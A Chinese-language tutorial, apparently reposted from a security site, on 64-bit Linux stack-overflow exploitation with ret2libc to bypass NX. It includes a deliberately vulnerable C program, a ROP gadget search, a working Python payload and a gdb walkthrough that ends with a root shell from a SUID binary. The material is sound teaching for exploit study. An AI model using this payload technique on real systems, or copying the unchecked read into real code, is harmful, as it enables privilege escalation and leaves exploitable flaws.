64位Linux栈溢出教程(二)
接昨天的《64位Linux栈溢出教程(一)》
0x02
在第一部分中我们已利用了64位二进制文件的典型栈溢出弱点且了解到我们不能盲目期待用带有字节的buffer覆盖RIP。
在第一部分我们关掉了ASLR,NX,和stack canary,所以我们可以专注利用而不是绕过这些安全特性。这次我们将开启NX并看到我们可使用ret2libc的方法利用相同的二进制。
搭建环境
搭建的环境和第一部分中使用的环境一致.这里也将使用到如下工具:
Python Exploit Development Assistance for GDB
Ropper
Ret2Libc
在第一部分我们已利用相同的二进制程序.唯一不同的是我们将开启NX(让我们上次的利用失效),因为现在栈不可执行.
/* Compile: gcc -fno-stack-protector ret2libc.c -o ret2libc */
/* Disable ASLR: echo 0 > /proc/sys/kerne/randomize_va_space */
#include <stdio.h>
#include <unistd.h>
int vuln() {
char buf[80];
int r;
r = read(0, buf, 400);
printf("nRead %d bytes. buf is %sn", r, buf);
puts("No shell for you :(");
return 0;
}
int main(int argc, char *argv[]) {
printf("Try to exec /bin/sh");
vuln();
return 0;
}
你也可以在这获取预编译好的二进制
在32位二进制程序中,一次ret2lib攻击(创建一个伪造栈帧),让函数可调用libc内的函数,并传递任意它需要的参数.有代表性的是这将返回到system()并让其执行“/bin/sh”.
在64位二进制程序中,函数参数被传递到寄存器里,因此,不需要伪造栈帧.第一次传递的6个参数依次被传递到RDI,RSI ,RDX, RCX,R8和R9.超出的任意数据都会被传递到栈.这意味着在返回到我们的函数前(libc中选定的),我们需要确保用预期的函数参数正确配置寄存器值.如果你不熟悉ROP,不要担心,我们将不会深入讲解.
我们将开始于一段简明的利用(返回到system()并执行”/bin/sh”).需要一些东西:
System()的地址.已关闭ASLR机制因此我们不会担心该地址的改变.
一个“/bin/sh”指针.
因第一个函数参数需要位于RDI,所以我们需要一个ROP gadget(将“/bin/sh”复制到RDI).
让我们开始寻找system()的地址吧.这在GDB中很容易完成.
gdb-peda$ start
.
.
.
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x7ffff7a5ac40 <system>
我们只要简单搜索一个“/bin/sh”指针.
gdb-peda$ find "/bin/sh"
Searching for '/bin/sh' in: None ranges
Found 3 results, display max 3 items:
ret2libc : 0x4006ff --> 0x68732f6e69622f ('/bin/sh')
ret2libc : 0x6006ff --> 0x68732f6e69622f ('/bin/sh')
libc : 0x7ffff7b9209b --> 0x68732f6e69622f ('/bin/sh')
前两个指针是来自于字符串的,它位于二进制程序(打印出“Try to exec /bin/sh”).第三个指针来自libc本身,实际上,如果你确实能访问libc,请尽情使用它即可.在该情况下,我们开始执行于第一个指针(在0x4006ff上).
现在我们需要一个gadget(将0x4006ff复制到RDI).我们可以用ropper搜索gadget.让我们看看是否可以找到任意使用EDI或RDI的指令:
koji@pwnbox:~/ret2libc$ ropper --file ret2libc --search "% ?di"
Gadgets
=======
0x0000000000400520: mov edi, 0x601050; jmp rax;
0x000000000040051f: pop rbp; mov edi, 0x601050; jmp rax;
0x00000000004006a3: pop rdi; ret ;
3 gadgets found
第三个gadget完美从栈中弹出进入RDI.我们现在已有一切构造利用的材料:
#!/usr/bin/env python
from struct import *
buf = ""
buf += "A"*104 # junk
buf += pack("<Q", 0x00000000004006a3) # pop rdi; ret;
buf += pack("<Q", 0x4006ff) # pointer to "/bin/sh" gets popped into rdi
buf += pack("<Q", 0x7ffff7a5ac40) # address of system()
f = open("in.txt", "w")
f.write(buf)
该利用将我们的payload写进in.txt(在gdb内,我们可以重定向进二进制程序).让我们快速检查一下:
行 7:用我们的ROP gadget的地址覆盖RIP,所以当vuln()返回时,它会执行pop rdi;ret.
行 8:当执行pop RDI时,该值会被弹进RDI.一旦完成了这些,RSP将会指向0x7ffff7a5ac40(system()的地址).
行 9 :在pop rdi后执行ret时,执行流会返回到system(),system()将采用RDI的参数(它预期的)并执行它.在该情况下,它执行“/bin/sh”.
让我们用gdb查看它的活动.我们将在vuln()的返回指令上设置断点:
gdb-peda$ br *vuln+73
Breakpoint 1 at 0x40060f
现在我们将payload重定向到二进制程序,我们的第一个断点将被击中:
gdb-peda$ r < in.txt
Try to exec /bin/sh
Read 128 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
No shell for you :(
[-------------------------------------code-------------------------------------]
0x400604 <vuln+62>: call 0x400480 <puts@plt>
0x400609 <vuln+67>: mov eax,0x0
0x40060e <vuln+72>: leave
=> 0x40060f <vuln+73>: ret
0x400610 <main>: push rbp
0x400611 <main+1>: mov rbp,rsp
0x400614 <main+4>: sub rsp,0x10
0x400618 <main+8>: mov DWORD PTR [rbp-0x4],edi
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe508 --> 0x4006a3 (<__libc_csu_init+99>: pop rdi)
0008| 0x7fffffffe510 --> 0x4006ff --> 0x68732f6e69622f ('/bin/sh')
0016| 0x7fffffffe518 --> 0x7ffff7a5ac40 (<system>: test rdi,rdi)
0024| 0x7fffffffe520 --> 0x0
0032| 0x7fffffffe528 --> 0x7ffff7a37ec5 (<__libc_start_main+245>: mov edi,eax)
0040| 0x7fffffffe530 --> 0x0
0048| 0x7fffffffe538 --> 0x7fffffffe608 --> 0x7fffffffe827 ("/home/koji/ret2libc/ret2libc")
0056| 0x7fffffffe540 --> 0x100000000
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x000000000040060f in vuln ()
我们可以意识到RSP指向0x4006a3(我们的ROP gadget).步入,同时我们将返回到我们的gadget(位于我们现在可以执行pop rdi的位置).
gdb-peda$ si
.
.
.
[-------------------------------------code-------------------------------------]
=> 0x4006a3 <__libc_csu_init+99>: pop rdi
0x4006a4 <__libc_csu_init+100>: ret
0x4006a5: data32 nop WORD PTR cs:[rax+rax*1+0x0]
0x4006b0 <__libc_csu_fini>: repz ret
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe510 --> 0x4006ff --> 0x68732f6e69622f ('/bin/sh')
0008| 0x7fffffffe518 --> 0x7ffff7a5ac40 (<system>: test rdi,rdi)
0016| 0x7fffffffe520 --> 0x0
0024| 0x7fffffffe528 --> 0x7ffff7a37ec5 (<__libc_start_main+245>: mov edi,eax)
0032| 0x7fffffffe530 --> 0x0
0040| 0x7fffffffe538 --> 0x7fffffffe608 --> 0x7fffffffe827 ("/home/koji/ret2libc/ret2libc")
0048| 0x7fffffffe540 --> 0x100000000
0056| 0x7fffffffe548 --> 0x400610 (<main>: push rbp)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004006a3 in __libc_csu_init ()
步入,RDI现在应该含有一个“/bin/sh”指针:
gdb-peda$ si
[----------------------------------registers-----------------------------------]
.
.
.
RDI: 0x4006ff --> 0x68732f6e69622f ('/bin/sh')
.
.
.
[-------------------------------------code-------------------------------------]
0x40069e <__libc_csu_init+94>: pop r13
0x4006a0 <__libc_csu_init+96>: pop r14
0x4006a2 <__libc_csu_init+98>: pop r15
=> 0x4006a4 <__libc_csu_init+100>: ret
0x4006a5: data32 nop WORD PTR cs:[rax+rax*1+0x0]
0x4006b0 <__libc_csu_fini>: repz ret
0x4006b2: add BYTE PTR [rax],al
0x4006b4 <_fini>: sub rsp,0x8
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe518 --> 0x7ffff7a5ac40 (<system>: test rdi,rdi)
0008| 0x7fffffffe520 --> 0x0
0016| 0x7fffffffe528 --> 0x7ffff7a37ec5 (<__libc_start_main+245>: mov edi,eax)
0024| 0x7fffffffe530 --> 0x0
0032| 0x7fffffffe538 --> 0x7fffffffe608 --> 0x7fffffffe827 ("/home/koji/ret2libc/ret2libc")
0040| 0x7fffffffe540 --> 0x100000000
0048| 0x7fffffffe548 --> 0x400610 (<main>: push rbp)
0056| 0x7fffffffe550 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00000000004006a4 in __libc_csu_init ()
现在RIP指向ret且RSP指向system()的地址.再次步入,我们现在应该位于system().
gdb-peda$ si
.
.
.
[-------------------------------------code-------------------------------------]
0x7ffff7a5ac35 <cancel_handler+181>: pop rbx
0x7ffff7a5ac36 <cancel_handler+182>: ret
0x7ffff7a5ac37: nop WORD PTR [rax+rax*1+0x0]
=> 0x7ffff7a5ac40 <system>: test rdi,rdi
0x7ffff7a5ac43 <system+3>: je 0x7ffff7a5ac50 <system+16>
0x7ffff7a5ac45 <system+5>: jmp 0x7ffff7a5a770 <do_system>
0x7ffff7a5ac4a <system+10>: nop WORD PTR [rax+rax*1+0x0]
0x7ffff7a5ac50 <system+16>: lea rdi,[rip+0x13744c] # 0x7ffff7b920a3
在这时,如果我们继续执行,我们应看到 “/bin/sh” 已执行
gdb-peda$ c
[New process 11114]
process 11114 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
[New process 11115]
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
process 11115 is executing new program: /bin/dash
Error in re-setting breakpoint 1: No symbol table is loaded. Use the "file" command.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
Error in re-setting breakpoint 1: No symbol "vuln" in current context.
[Inferior 3 (process 11115) exited normally]
Warning: not running or target is remote
看来我们的利用可正常工作.让我们试试它是否可得到root shell.我们将改变ret2libc的持有者和权限让其是SUID root
koji@pwnbox:~/ret2libc$ sudo chown root ret2libc
koji@pwnbox:~/ret2libc$ sudo chmod 4755 ret2libc
现在让我们像第一部分所做的那样执行我们的利用:
koji@pwnbox:~/ret2libc$ (cat in.txt ; cat) | ./ret2libc
Try to exec /bin/sh
Read 128 bytes. buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA
No shell for you :(
whoami
root
再次得到我们的root shell,同时我们已绕过NX.现在这个利用相对简明(只需要一个参数).如果我们需要更多那会如何?接着在返回一个libc中的函数前,我们需要找到更多gadgets(相应地配置寄存器), 如果你想挑战自己,那么重写利用以让其调用execve()而不是system().execve()需要三个参数.
int execve(const char *filename, char *const argv[], char *const envp[]);
这意味着在调用execve()函数之前,你将需要有位于RDI,RSI和RCX中的专属值.试试仅在二进制本身使用gadgets.即不在libc中寻找gadgets.好运!
文章来源安全脉搏
---------------------------
SOBUG 一个连接安全专家与厂商的网络安全众测平台
微信公众号:sobugs
新浪微博:@Sobug众测平台
查看评论 回复